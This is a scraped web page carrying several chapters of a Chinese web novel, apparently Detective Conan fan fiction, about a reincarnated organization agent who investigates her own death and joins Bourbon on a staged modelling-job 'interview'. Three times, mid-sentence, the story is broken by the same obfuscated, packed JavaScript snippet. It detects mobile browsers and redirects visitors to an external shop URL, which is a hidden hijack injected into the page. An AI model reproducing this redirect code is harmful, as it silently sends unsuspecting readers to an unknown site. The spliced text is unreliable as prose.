;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939476|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>与他告别后,她转身就朝着米花大饭店的大门走,脚步比刚才快了些。门口的侍者上前接过她的手提包,她跟着走进旋转门,走到一半时,还是忍不住回头望了一眼。 苏格兰还站在原地,日光将他的影子拉得很长,白大褂的衣角被风掀起,微微晃动。他的目光似乎还停在她刚才站的位置,又好似透过她看向了更远的地方,眼神空茫,像是在发呆。 有心事的人不止她一个啊。 白羽响心里突然涌上一阵悔意。刚才被“背叛”两个字搅得发懵,竟忘了趁机打听具体的情况。她轻轻叹了口气,收回目光,跟着侍者走进酒店大堂。 苏格兰的提醒、莱伊的下落、自己背负的“叛徒”罪名……这些念头缠在一起,让她觉得有些头痛。 刷开酒店房门,白羽响站在门口停顿了几秒,目光快速扫过房间。 被子叠得整齐,茶几上没有多余的水杯,浴室的洗漱用品也只有一套未拆封的,确实只有一个人居住的迹象。她这才松了口气,反手关上门,将手提包随手扔在沙发上,整个人躺在床上,让神经放松下来。 躺了一会儿后,她还是决定起来先收拾一下自己。走到浴室拧开水龙头,她掬起一捧水拍在脸上。洗手台上的卸妆油用的是以前也常用的牌子,她挤了一点,在手中揉开。 镜子里的女孩脸色苍白,眼下带着淡淡的青黑,卸妆后褪去了妆容的精致,只剩下掩不住的憔悴。 白羽响盯着镜中的自己,忍不住伸手摸了摸脸颊。 这是一张年轻貌美,但生活并不健康的脸孔。 这具身体的原主,到底过着怎样的生活? 她的意识又为什么会出现在这具身体之中? 这具身体原来的主人的意识又去了哪里呢? 她擦干脸,回到卧室。酒店的房间很安静,只有空调运行的细微声响。酒店毕竟不是安全屋,谁也不能保证房间里没有监听设备。她起身走到窗边,在把窗帘拉上的功夫,先检查了窗帘轨道和空调出风口。 没摸到异常的凸起。 接着她又蹲下身,查看床底和沙发底下,甚至翻找了行李箱的夹层,都没发现可疑物件。 看来作为组织的底层人员,她还没有被人盯梢的资格。 最后,她的目光落在了床头柜上的客房电话上。一般来说,这是最容易被安装监听装置的地方,她伸出手,指尖刚碰到冰凉的机身,还没来得及仔细检查,刺耳的铃声突然“叮铃铃”响起,吓得她猛地缩回手,骂了一句脏话。 铃声持续响着,在安静的房间里格外刺耳。白羽响盯着电话,上面的来电是一串完全陌生的数字,不像是内部号码,她犹豫了一瞬以后,将它接了起来。 “看来你安全到酒店了。” 耳边传来的是熟悉的声音。 “波本……”白羽响的思索一瞬间被打断,顺着他的声音想起了刚刚那些不愉快的事,“又有什么事?” “没什么,确认一下你的安全。”波本的嗓音里带着一丝懒散,听起来任务进行得很顺利,“毕竟你现在在我的手下做事,我得护着你。” 光听他表达的文字,好似对她十分在意,但说话的口吻却完全不是那么回事。 真讨厌。 白羽响立刻就想挂断电话:“真是太感谢您的关心了。” “别急。”波本啧了一声,“你怎么是个急性子。” 他是想说,她简直像朗姆带出来的人吧? 就知道他没好话讲。想起朗姆那个糟老头子的脸和随时发布任务立刻就要到场的狗屎风格,她狠狠地翻了个白眼。 “除了这个,还有别的?” “嗯。后天中午米花中央大厦,有一个重要的面试。在此之前,你得给我一个全新的联络方式,酒店可不是什么安全的地方。”波本想起什么似的笑了笑,“做了坏事的人要学会狡兔三窟,‘球杆小姐’。” “明白了。”白羽响毫不客气地回怼,“‘工具箱先生’。” 这种事,还不至于让波本来交代她。 4. 关于往事 身体的乏累没挡住白羽响的脚步,她心里揣着件必须弄清的事。 苏格兰说的“曾经的搭档因叛变遭组织处决”的情报很重要。虽说她大概率就是他口中那个“搭档”,但是白羽响不敢相信他说的人是自己。 她决定要去自己的死亡现场看看,找寻一下相关的线索。 走出酒店,陌生的街景撞进眼底,她闭上眼,试着拼凑一周前的记忆。 9月 6日的深夜,她和贝尔摩德在大黑大楼的顶楼的酒吧Cocktail刚交易完,回到安全屋之后,就收到了楠田陆道的邮件—— “莱伊的任务出了岔子,他有麻烦了。” 楠田陆道是她一个多月前招募进组织的。 说是招募,其实更像顺水推舟。楠田陆道是一名以追踪、调查为主的私人调查记者。他常年过得落魄,日子过得颠沛流离。写不出稿子的时候,他就赚不到钱;写出稿子了,也可能因为得罪人而被追杀,还得不停更换笔名。 早在响酒正式引荐前,他就靠组织泄露的新闻混饭吃,还帮着组织引导过几次舆论风向,靠着犀利的文风吸引了不少火力,是个怪才。白羽响觉得与其让他在外游离,不如纳入麾下,便直接把他引荐给了琴酒,也正因如此,楠田陆道一直对她心存感激。 出事那天,因为楠田陆道突然传递来的情报,她歇了休息的心,打听了一下是什么情况。传回来的消息中说,那是琴酒亲自监督执行的一个秘密任务,这让她心里一惊。 按照琴酒那宁可错杀不会错放的作风,如果莱伊真的出了什么事,大概率难有善终。 她再次看了一眼楠田陆道的那封邮件。 文字寥寥,她没法从中判断事态轻重,联系莱伊又无果,便决定亲自去现场看看,能不能帮着善后。 她记得,最后打听到的莱伊的任务地点是堤无津川码头仓库。消息的来源是爱尔兰的线人,和组织里其他人没什么瓜葛,应当是可靠的。 白羽响站在街头招了招手,一辆出租车停在了她的面前。坐下以后报出了地址之后,她注意到司机在听车载电台。 司机想关,被她拦住。 “不用关,我喜欢听新闻。” 她靠在座椅上,一边梳理细节,一边分了点注意力给电台。虽说过了一周,或许能听到些蛛丝马迹。 电台新闻中正在报道是一桩珠宝店抢劫案。发生的时间是两天前,也就是她断片的那段时间里发生的事。 听了几句,她便没了兴趣。这劫匪也太业余,关键特征被拍得一清二楚,还被这么大肆报道,迟早落网。 车停在堤无津川码头仓库附近,白羽响付了车费,看着出租车缓缓开走。 那天深夜赶来时,她还以为这附近破败又阴森,没想到黄昏的时候风景竟还不错,河边还有几个钓鱼人。 她沿着河堤往前走,快到仓库时,看见了警方残留的警戒线。案发已过七天,现场早已没人看守,变得十分安静。 看来,关于那天的记忆并不是一场梦。 她走近了些,绕了一圈。仓库的前后门都锁着,进不去。 白羽响站在仓库周围的堤岸边。 风裹着潮湿的河腥气吹来,记忆仿佛回到了那个夜晚,鼻腔中闻到一丝若有若无的焦糊味。墙面上残留了不少黑渍,低处的飞溅状印记,应该是高温灼烧后炸开的火星留下的,指尖碰上去还能摸到粗糙的颗粒感。顶部的铁皮更是被卷成了奇怪的弧度,边缘锋利,有几块还悬在半空,被风一吹发出轻响。 事情过去了一周之久,就算此时她撬门进去,也未必搜得到有价值的情报。不得以,她把目光看向了周围。暮色之中,散步的人来来往往,还有几个老人正在钓鱼。 她走到一个钓鱼人身旁,客气地打听情况。 “哦,你说那仓库啊。”钓鱼老人咂了咂嘴,目光没离开钓竿,“听说是什么安全事故,死了一男一女。” 一男一女? 白羽响心中一震。除了她,还有人死在那场爆炸之中了? “知道死者是什么人吗?”她继续发问道。 “谁晓得。”老人有些不耐烦,手里的鱼竿都没动,“你这么好奇,该去问那个满头卷毛的年轻人。那小伙子好像是个警.察,对这案子特别上心,天天来这儿转悠,不过你今天来晚了,他已经回去了。” 白羽响陷入了沉默。 她生前可没有做警.察的朋友,如今也不知道是谁在为她的身后事奔波。她在心中遥遥感谢,希望对方能有好运。 她站起身,和钓鱼的老人礼貌地表达了谢意,沿着堤岸朝着来的时候走了回去。 把爆.炸案伪装成安全事故,很符合组织的作风。那和她一起死的男人,难道是莱伊…… 不敢再往下想,她从包里摸出原主的手机。这只手机没有设置指纹和面部识别,她也不知道密码,如今就是块废铁。看来得找地方上网,查查相关新闻确认细节。 沿着长长的街道步行了一路后,她来到了米花图书馆,这里为顾客提供免费的电脑设备,能够帮助她迅速地查到相关新闻。 她略微思索一下,将“堤无津川码头仓库”、“爆.炸案”之类的关联词输入其中搜索,大致了解了那桩案件的情况。 钓鱼的老人所说的正是新闻报道出来的内容。这场“事故”被称为“9.6码头仓库爆.炸案”,对外宣称是因为硝化棉湿润剂散失,在干燥与高温的双重作用下与其他危险的化学试剂进行交叉燃烧而导致的悲剧。 白羽响回忆着当时的情况。仓库内一片漆黑,没有亮光,周围摆放着一箱又一箱的东西,仓库内有化学试剂应该是实情。 她继续往下看。 死者一男一女,死因都是因爆.炸所致冲击波损伤导致颅脑损伤、多发性内脏破裂死亡。 仔细一看,她发现这是一条寻求线索和尸源的报道,看来在事情发生的这几天,并没有人去认尸。如果死的人是她和莱伊,会出现这种情况也算合情合理。新闻上并未刊登死者照片,只是明确地写出了死者的随身物品。 手机、耳机、折叠刀……她逐一核对,都是她当时随身携带的东西。现场本该有一把她的勃朗宁和几把安全屋的钥匙,证物清单里却没出现。而男死者的皮包、烟盒、手机,烟盒的牌子她看着都有些陌生,但和莱伊相处的时候也不会刻意去注意这些,一时没法确定是不是他的。 继续往下翻,一行字让她的目光骤然停住。 “男性死者线粒体DNA符合欧洲裔特征。” 白羽响心里一沉,盯着那条文字久久没有动作。随后,她深深叹了口气,双手捂住脸,又慢慢抚开。 莱伊……他是个混血…… 一阵尖锐的钝痛涌上心头。 她回忆起那个烈酒一般浓郁的男人,总觉得他死亡的消息是那么不真实。 如果要用一个词去形容莱伊,最贴切的应该是“横空出世”。狙.击、格斗、车技……他强大而稳定,简直就是天生的任务机器。 她还记得初见莱伊的那一天是个雨天。雨丝斜斜地扫过废弃工厂的铁皮屋顶,发出淅淅沥沥的声响,在地面投下斑驳的光影。 她蹲在一楼上方的横梁上,黑色风衣的下摆紧紧贴在腿上,掌心的勃朗宁Hipower已经上膛,锁定着楼下仓库里那个正慌不择路的男人。这是她这次行动的目标,一个挪用组织钱款还妄图叛逃的蠢货。 男人被四名保镖簇拥着,手里还攥着一把手枪,神色慌张却依旧在不断指挥保镖紧紧地围在他的周边。她皱了皱眉,这里的地形比预想中复杂,若贸然开枪,很容易打草惊蛇。 就在她调整呼吸,准备寻找最佳射击角度时,一声清脆的枪响突然划破雨幕,打破了仓库里的混乱。 “砰!” 声音低沉而干脆,没有消音器的遮挡,却精准得可怕。她甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939477|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看清子弹的轨迹,楼下的目标就已经捂着胸口,直直地倒了下去,眼睛瞪得大大的,死不瞑目。 她心头一凛,跟着转头朝对面望去。 与她相对的窗口站着一道颀长的身影,针织帽下的长发随意地搭在肩头,黑色的风衣被风吹得猎猎作响。这个人正握着一把狙.击步枪,枪口还冒着淡淡的青烟。 四名保镖也瞬间反应过来,纷纷举枪朝着枪声来源的方向扫射,子弹打在他边缘的墙壁上,他却毫无惧色,淡然地拿出了烟盒。 过了一会儿,他似乎嫌枪声烦躁,朝着保镖的方向开了一枪。有一个人应声而倒之后,剩下的保镖也不再顽抗,作鸟兽状散去。 周围安静下来后,她终于得以透过雨幕观察这个人的真实模样——脸部线条有些像欧美人,一双绿色的眼睛深邃得像一潭冰冷的湖水。 杀手?还是职业的那种。 是组织派来的后手?可琴酒从未跟她提过有其他搭档。 目标已死,任务本可结束,但她的警惕心却瞬间拉满。她悄无声息地从横梁上跃下,借着雨声的掩护,一步步朝着对面二楼窗口的方向逼近。 她观察到,那男人已经收起了狙击步枪,正转身准备离开。于是,她走了出来,用枪直指他眉心的枪口。 “别动。” 她的手指紧紧扣在扳机上,只要对方有任何异动,就会毫不犹豫地开枪。 那个男人应声停下脚步,目光落在她的脸上。他的眼底没有丝毫慌张,甚至连眉峰都没动一下,仿佛眼前的枪口对他而言,不过是无关紧要的摆设。 “你是谁?代号是什么?”她逼问对方的身份,“这是我的任务,你凭什么介入其中?” “诸星大,一个‘私人安保公司’的清道夫。”他回答说道,“受雇于人,取他性命。看来,我们的目标是同一个人。” 私人安保公司?无非就是不法之徒豢养的私人军队,说得倒好听。她知道这种公司,表面上是安保服务,实则干着杀人越货的勾当,和组织算是井水不犯河水。 “我可以走了吗?”他问。 她眼神一凝,而是死死盯着这个不速之客,警告道:“别乱动,否则我不介意让你跟楼下的人作伴。” 他摊了摊手,做出一个“无害”的姿势,没有丝毫要反抗的意思。 于是,她用枪指着这个人与琴酒通了电话,确认了对方确实不是组织委派。大家手上都不算干净,也没必要多浪费一颗子弹。想到这里,她将信将疑地收了枪,并未多造杀孽。 那就是她与莱伊的第一次会面。 当时她也没想到,两天后,这个男人竟顺着她任务时用的假名和手机号找到了她,还发出了约会邀请。 她愕然地挂断电话,只因从来没见过这么胆大包天的人。然而,念及他资质出众,她犹豫再三,还是前去赴约。只是她将这场约会变成了游说,没费多少功夫,就把他招进了组织,顺利得出奇。 回忆起这些,白羽响嘴角扯出一抹自嘲的弧度。 组织认定她是叛徒,想必是莱伊的身份有问题。那场看似意外的相遇,或许从一开始就是对方的精心安排。可笑的是,她一直被蒙在鼓里,直到生命最后一刻,还想着要去替他善后…… 白羽响长长地叹了一口气。 如果真是因为自己识人不清,引了有问题的莱伊进组织,才被定为叛徒,那她也没什么好平反的。 她又想起楠田陆道发的那条短信。 现在想来,那或许不是通风报信,而是新闻媒体人嗅到大新闻后的兴奋之言——她和莱伊那点交集从来都是避着人的,楠田陆道不可能会知道。 推开图书馆的门,夜风和人潮扑面而来。 她站在人群之中,一时找不到归处。 不管怎样,她现在以白羽响的身份活了下来。 至于她与莱伊的那点旧事…… 就当人死债消吧。 5. 一次“面试” “啪”。 白羽响用勺子敲碎了白煮蛋的蛋壳,就着牛奶咽下了干涩的蛋黄。 蛋煮老了。 她一边想着,一边把蛋壳收集起来装进了一个封口袋里。这些看似没用的东西,攒多了可以变成植物的肥料,有个塑料盆就可以种点小葱。 从前她不会有这么多的时间做这些事的,没想到死了以后换了个身份,竟然体验了一种完全不同的生活。 这一天之内,她听从了苏格兰的意见,用做组织任务给的钱结清了酒店的费用,重新找了一处安全屋。 月租四万五日元,房龄快四十年,墙皮在角落簌簌剥落,厨房水龙头总滴滴答答漏水,隔音更是差到离谱。昨晚她就是伴着隔壁情侣的争吵声、水龙头的滴答声勉强入眠,今早积在水槽里的水,刚好够她煮这颗失败的白煮蛋。 这是一栋除了地理位置以外没有任何优点的房屋,但这不会是她唯一的落脚点。专业的组织成员都要有几处方便藏匿的地点,就如同波本说的那样,得狡兔三窟。 正收拾着早餐残局,她突然想起什么——距离劫持三木一海已经过去两天,可无论是新闻还是组织内部的零星消息,都没有“三木集团的董事长被绑架”的半点风声。 不知道是波本使用了什么特殊的手段,还是三木一海和组织达成了什么不可见人的交易。 她不由思考起了这次任务究竟是一个怎么样的任务。 那天波本和她说起这个任务的细节时,提到过她“之前就与三木一海相识”;在任务的途中,三木一海在和波本的谈话中透露了这次任务是他“主动寻找白羽响”才引发的;而波本的也只提了“绑架”,却完全没有告诉她绑架之后要做些什么。 勒索钱财? 或者,别的什么目的? 自从波本的打到酒店之内之后,一天过去,都没有再收到来自波本的任何消息。 波本给她就出外出重新寻找安全屋的时间,但对于白羽响来说,这不仅仅是一天休假,还是她用来整理信息的重要时间。 她必须尽快熟悉这自己这具身体的原主是个什么样的人。 在这一天之内,她翻遍这具身体的私人物品,拼凑出一个令人心惊的轮廓:一本泛黄的日历上,密密麻麻记着大额数字,加起来竟超一亿日元,不知是债务还是不明收入;账户里只有波本打给她的任务报酬,连一分存款都没有;药盒里那瓶安眠药,标签上的剂量不小,原主正被严重的心理问题折磨;手机密码是首字母加生日的单调组合,毫无安全性可言;通讯录更是干净得反常,寥寥几个名字,她试着打过去,不是被拉黑就是提示停机。 简直是糟糕透顶。 “到处借钱才会被这么对待吧。”她盯着屏幕上的忙音,轻声做出推测。 果不其然,从手机通讯录到邮件,甚至是网上的社交软件,内容都少得可怜,只有银行卡支付的账单流水格外“丰富”。 不仅如此,翻到头也没有一个名字属于她的父母,甚至从备注上看不出有监护人的痕迹。 在自己的意识穿来之前,原主正揣着份潦草的简历四处求职。 或许原主和她一样,是个无父无母的孤儿?她这么推侧着,暗自摇了摇头。 眼前的日历上,一个个的数字似乎跳进了她的目光中,透过点点滴滴,她仿佛能够看见这个可怜的姑娘原本生存的状态。 没亲朋、没爱好、没存款,连健康都岌岌可危。 她曾经替组织吸纳过不少新人,知道这是组织最喜欢吸纳的那种边缘人物类型——靠青春饭糊口的漂亮姑娘,前路茫茫。 职业是个模特,算是公开艺人,但旁人又没什么熟悉度,很适合作为女伴带入各种舞会酒局打探情报,也难怪她会被组织分配给波本,粗略一看,确实是干情报组的料。 不过事情大概率没那么简单,或许连进入组织,也是被有心人士一步步引导所致。 这么想着,她尝试着回拨了一些打来的陌生电话,内容竟然都是短期兼职工作。她不敢懈怠,上网调查了几个兼职的情况,确认都不是由组织委派。她推测,或许原主在没有接到模特委托的时候,一直都是靠打这样的零工度日。 正想着,手机的提示音就响了,是收获了一封新邮件。 发件人是波本,提醒她准时出门。 是了,今天中午还有一场重要的面试。她站起了身,走到化妆镜前开始化妆。波本没有告诉她这次面试究竟是什么内容主题,她就只能靠猜测。临出门,她看了一眼原主留下来的鞋子,犹豫了一下,还是选择了一双底相当高的。 如果是作为模特的面试,应该是这样打扮比较有优势?她其实也没数。 中午十二点,白羽响准时到达了约定的地点,可惜无论是喷泉还是休息区,都没有波本的身影。等了几分钟后,她开始思索自己是不是被波本放了鸽子。 正琢磨着要不要发消息质问,手机突然震动起来,来电显示是波本。 “到了?”电话带着点嘈杂的背景音,他周围似乎人数不少,“上一个目标不太听话,我暂时走不开。过会儿发你一个地址,到了就知道该做什么。” 说完这句话,不等白羽响回复,波本就挂断了电话。 上一个目标,是说三木一海吗?看来他的绑架任务还没做完。但是“到了就知道该做什么”,这又是哪门子的新型暗号啊? 情报组的人就不能老老实实地把话说全吗?一堆谜语人! 从前贝尔摩德执行任务时,就爱说半句留半句,让人猜来猜去,现在波本也染上了这坏毛病。 难怪以前爱尔兰跟她私下说,情报组的人惹不起,个个都是人精,连脸上的皮都可以一天变三次。 吐槽归吐槽,她的行动还是没有落下。 很快,她沿着波本给的地址一路走到了某个工作室的后门。 推开门,一个女人坐在吧台上。见到白羽响后,她站起了身微微笑着。 她的穿着很得体。一身丝绒质感的酒红色工装,领口别着枚珍珠胸针,唇上涂着泛着冷调光泽的浆果色唇膏,明明没刻意张扬,却让整个房间的光线都若有若无地往她身上拢。 这是个很特别的女人,模样普通,但又很吸睛。 “你好,白羽小姐。”女人的目光看着她的眼睛,“我是化妆师玲奈。” “你好。”白羽响往前走了两步,朝她点了点头。 所以,波本是让她来化妆的?可出门之前,他明明交代说今天是一次面试任务。 玲奈站起身,朝着她走了两步,指尖带着淡淡的香水味,在她脸颊两侧轻轻丈量。化妆台早已备好全套用具:象牙白的粉底膏、细闪的眼影盘,甚至连搭配礼服的首饰都整齐码在丝绒托盘里,显然是早有准备。 “但是,我出门前已经……” 化过妆了啊? “看得出来,而且你的底子很好。”玲奈笑着,将她按在了面前的椅子上,“不过,还是让我来试试,不然‘高额定金’可就浪费了。” 波本还为她花钱了? 白羽响有些狐疑地坐了下来,看着玲奈打开化妆箱。里面的用具摆放得一丝不苟,连口红都按色号深浅排得整整齐齐,透着股近乎苛刻的精致。玲奈没急着动手,只是俯身盯着她的脸,目光从眉骨扫到下颌线,像是在研究一件艺术品。 “你看起来不像个模特。”她突然开口说道。 “什么?”白羽响微微蹙眉。她现在瘦得简直皮包骨头,都快不健康了,何况原主本就是模特,怎么会不像? “干这行,不止要自信,更要自恋。”玲奈俯下身,轻轻托住了白羽响的下颚,“漂亮的脸蛋能增色,但支撑你的,是认为自己的每一个表情都会被关注的自觉。” 白羽响看着玲奈的那双眼睛,仿佛从她平凡的脸蛋背后看见了熟人的神态。 “你不享受被关注的感觉,至少现在不享受。”玲奈在她耳旁低语,诱导一般地问道,“为什么?心里藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939478|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着不能见光的秘密吗?” 耳旁的动静让白羽响瞬间明白了这个人是谁。 情报组的大佬,组织Boss捧在手心的宠儿,化妆术与易容术登峰造极,天生就带着女明星般的掌控力。当年她在组织里见过这个人数次,对方每次易容的容貌都不同,可眼底那股洞悉一切的锐利、说话时若有似无的诱导感,从来没变过。 贝尔摩德。 白羽响在心中默念着这个女人的名字。 这么重要的事,波本竟然不提前跟她说一声! “是啊。”白羽响的嘴角微微上扬了一些,“有很多秘密,就像玲奈小姐一样。” 回答她的是一阵低低的轻笑声。 两个小时后,白羽响踩着银色高跟鞋走出造型工作室,微风吹起她米白色连衣裙的裙摆,脸上的妆容精致又不失温婉,完全褪去了之前的憔悴。她一眼就看到停在路边熟悉的车,径直走过去,屈起手指敲了敲驾驶座的车窗。 车窗缓缓降下,露出波本戴着墨镜的脸。他换了身银灰色休闲西装,领口松开两颗扣子,手腕上戴着限量款手表,周身散发着张扬的富二代气息。 看来他的身份今天不是日卖电视台的记者,而是哪个年轻有为的大款。 波本上下打量着白羽响,语气里带着几分调侃:“不错,比之前顺眼多了。” 白羽响没接话,直接从手提包里掏出一张折叠的入职证明递给他,无语地说道:“下次不是什么重要任务的话,能不能把话说明?费了半天功夫只是为了拍一张证件照加上入职的面试,我还没有那么闲。” 波本拿起入职证明展开,目光扫过上面“白羽响”的名字和“A-type模特公司”的落款,嘴角勾起一抹笑,将证明递回给她:“恭喜你正式入职。有个正当职业做掩护,以后行动也方便。” 入职?白羽响在心里冷笑。 如果她只是一个新人也就罢了,但是刚刚的面试官可绝非模特公司的那一位,而是坐在化妆间的那位吧。 “这家公司不会很快给你安排经纪人,只有一些必要的‘工作’时才会出现,你可以放心。”他顿了顿,摘下墨镜,眼神里多了几分认真,“上车。” 白羽响依他的话坐上了车的副驾,她突然想起了自己或许正负债在身。 “有工资吗?”她问。 “有。不过很少。” 白羽响忍不住看了几眼波本身上价值不菲的衣服和手表。她从前在行动组的时候,每次昨晚任务就回到安全屋休整,这种光鲜亮丽的日子真是从来没过上。 “看波本先生这身打扮,组织的任务给的报酬可是比打工挣得多多了。” “虽说的确如此,不过……”波本的嘴角微微上扬,“我买这些从来不花自己的钱。替组织勒索来的钱,我会自己留下一部分,以供生活所需。” 白羽响的眼睛微微睁大,惊讶地看着波本的脸。 她没听错吧?这个人刚刚把“我正大光明地贪污组织的钱并且拿来自己享受”说得那么理直气壮? “不用惊讶。”车停在红绿灯,波本目不斜视地看着前方,“你特别钟意的那件白大褂——苏格兰身上的那件,也是这么来的。” 说得好像她在大惊小怪一样。 组织里的日元美元都没那么值钱,赚了也得有命花。 行动组的人做事从来都不会这么高调奢华,就算是爱尔兰和她都在皮斯科的抚养下长大,也没尝试过这么骄奢淫逸的日子。 白羽响问:“这就是情报组的作风吗?” 波本笑了笑:“不,这是我的作风。” 白羽响彻底无语了。 在见识到波本的敛财手段之前,她还以为这是贝尔摩德的特权。 联想到行动组的钱几乎全花在枪械、弹药、直升机上……还有当初行动组人手一件黑风衣,雷同得像同一家服装厂生产的批发货一样。 琴酒,你是不是该想办法给行动组改善一下“伙食”了? 6. 波本的礼物 这种事,是可忍孰不可忍! “我要分赃!”白羽响强烈要求道。 “不。”波本一口回绝,“凭什么分给你?” 白羽响耐着脾气据理力争:“绑架三木一海是我跟你一起做的任务!不对,应该说,这就是我的任务,你只是在陪我做任务而已。你当时自己说的!” “你怎么会这么觉得呢?”听她这么说,波本似乎听见了什么有趣的事情,心情好得不得了,眼睛都快眯成了一条缝,“你只是完成了绑架,完成了后续勒索任务的是我。” 说得那么轻巧,绑架和勒索明明就是一套流程! 果然那会儿为了埋汰她,说的什么“如果不是她吹牛自己还在海外度假”的狗屁言论,都是假的吧!这任务他本来就应该出场!根本不是被迫的! “我完成了前期铺垫,人是我打晕的!如果不是你在跟我一同搬运那个家伙的时候没出力气,害得他的脑袋磕在后尾箱上,他中途也不会醒。”白羽响不服气地反驳,“再说了,苏格兰都能靠‘贪污’买白大褂,凭什么我不行?” “且不说我究竟有没有出足够的力,他醒来的一瞬间我就立刻做出了补救。”波本慢悠悠地回答着,还耸了耸肩,“至于苏格兰,他做的是技术活。伪造身份、做假.证.件,甚至还要购买专门的医疗设备,组织拨款不够,从赎金里扣点,合情合理。” “什么合情合理?你这是强词夺理。” “一样的,不管是哪种,我都有理。” 跟这个人争辩简直是对牛弹琴! 白羽响狠狠翻了他个白眼,有种抬手就想暴揍他一顿的冲动。当初那个在她手下装纯良的家伙,怎么会变成现在这幅模样! “不要殴打司机。”波本的心情好得要命,嘴角压都压不住,“不然我就跟你算车费和医药费。” 白羽响伸出自己的手看了一眼——这双手还很细嫩,一看就没有持枪的经验。要是此刻手里有把小枪,她真想直接顶在波本头上,让这张巧舌如簧的嘴立刻闭上。 波本的笑意实在是刺眼极了。她想起自己手机银行里空空的余额,又看向波本手腕上闪着冷光的限量款手表,心里的不平衡感更甚。 “也别用那种‘想抢我手表’的眼神扫我。”波本像是看穿了她的心思,强忍着笑意说道,“我身上这套行头加起来也就二百万日元,还没你这次任务的基础报酬多呢。” 鬼才信!白羽响在心里冷哼。积少成多的道理她还懂,这家伙私吞的赎金肯定不止这点,或许还有一座属于自己的藏金屋。她甚至能猜到波本接下来要说什么,无非是“跟着我干,以后有你好处”之类画饼的话。 换了个身份后,她与波本也只不过接触了三天之久,对这个人的印象已经发生了翻天覆地的变化。 容貌帅气的小奶狗?不,他根本是只老奸巨猾的坏狐狸! “真生气了?”波本转过头,眼底带着几分促狭的意味。 白羽响扯了扯嘴角,发出无声的冷笑。 现在暂时忍一忍,等到她跟组织的其他人搭上线,就算她分文不赚,也不要留在波本的身边受这个窝囊气。 再也没有比他更差劲的上司了! “不如,你试试问我讨要些别的好处?”波本突然话锋一转,语气里带着明显的暗示。 这又是准备埋汰人的诱饵? “哦?你会给我一把勃朗宁吗?”白羽响脸上挂着嘲讽的笑意。 勃朗宁Hipower是她曾经的惯用枪。 这几天她连一把像样的武器都还没弄到手——并非是因为没有渠道,而是没有足够的时间。何况这具身体现在十分孱弱,赤手空拳怕是连路人都不一定能撂倒。 波本听见“勃朗宁”三个字,明显神色顿了顿,握着方向盘的手指微微收紧,似乎想到了什么。 “现在还不是时候。”他说道,“不过我会共享一处米花町的安全屋给你。那里的月租可是高达十二万日元,只要你活得够长,早晚能连本带利从我身上‘赚’回来。” “……” 白羽响彻底无语了,翻了个白眼靠回座椅上。 这算什么好处?还不如直接给点真金白银呢! 绕了这么一大圈,说了这么多听着就来气的话,到头来只是想分享一处安全屋给她,而且这恐怕还是上车之前就决定好的事。 从他手上讨点好处可真有难度。 不多时,波本的车缓缓停在一片荒草地旁,车轮碾过碎石子发出咯吱声响。 他没急着下车,而是移动了自己的座椅,从后排的座位上取了一个包裹,从中拿出了一双鞋和一件外套,递给了白羽响。 “给我的?” 白羽响有些惊讶地看了一眼他手中的鞋。这是一双板鞋,显然比她现在穿的高跟鞋要舒适多了。她出门前以为真的要面试,穿了一件完全不适合行动的鞋子,心里正在抱怨鞋子磨脚,没想到波本竟然会做这样周到的准备。 波本笑了笑:“参加自己的面试,当然要穿得漂亮。但是去面试别人,舒服方便就好。” 不知道现在要去的又是个什么“面试”。 白羽响瞥了一眼他的神色,生怕他挖坑:“这两件东西多贵?不会在我的账单里扣吧?” 波本已经收回了刚刚与她斗嘴的神色,有些无奈地回答:“我没那么抠门。换上,跟紧我。” 也不一定,有的人就是越有钱越抠门。 她心中腹诽着,换上了鞋子和外套。 或许是马上就要进行下一件事,波本收回了刚刚与她斗嘴时的得意嘴脸,整个人看着有些严肃。 白羽响瞄了他一眼,感觉他闭上嘴了还看着顺眼些。 波本率先下车,白羽响跟着他穿过齐膝的杂草,从一道锈迹斑斑的小门钻进了一处废弃工厂。 这是组织最近才启用的一个初级接头地点,她认得这个地方。这里专供素未谋面的成员认脸,来去自由,她从前以“响酒”的身份来过两次,还在这里挑过几个有潜力的新人,三天前给她报信的楠田陆道,也是从这里被她带走加入组织的。 可波本没带她往常见的接头区域走,反而领着她踏上一段岌岌可危的铁楼梯。楼梯扶手锈得掉渣,每走一步都晃得厉害,刚爬到二楼,底下的场景就映入眼帘:空旷的厂房地面上站着四五个人,神色各异,没一个是她一眼就能叫出名字的。 她推测,这些人要么是从其他地区调来的成员,要么是组织准备招募的新人。这些事情以往都是由响酒负责的,现在作为响酒的她死了,不知道是谁来接手。 难怪波本说,这也是“面试”。 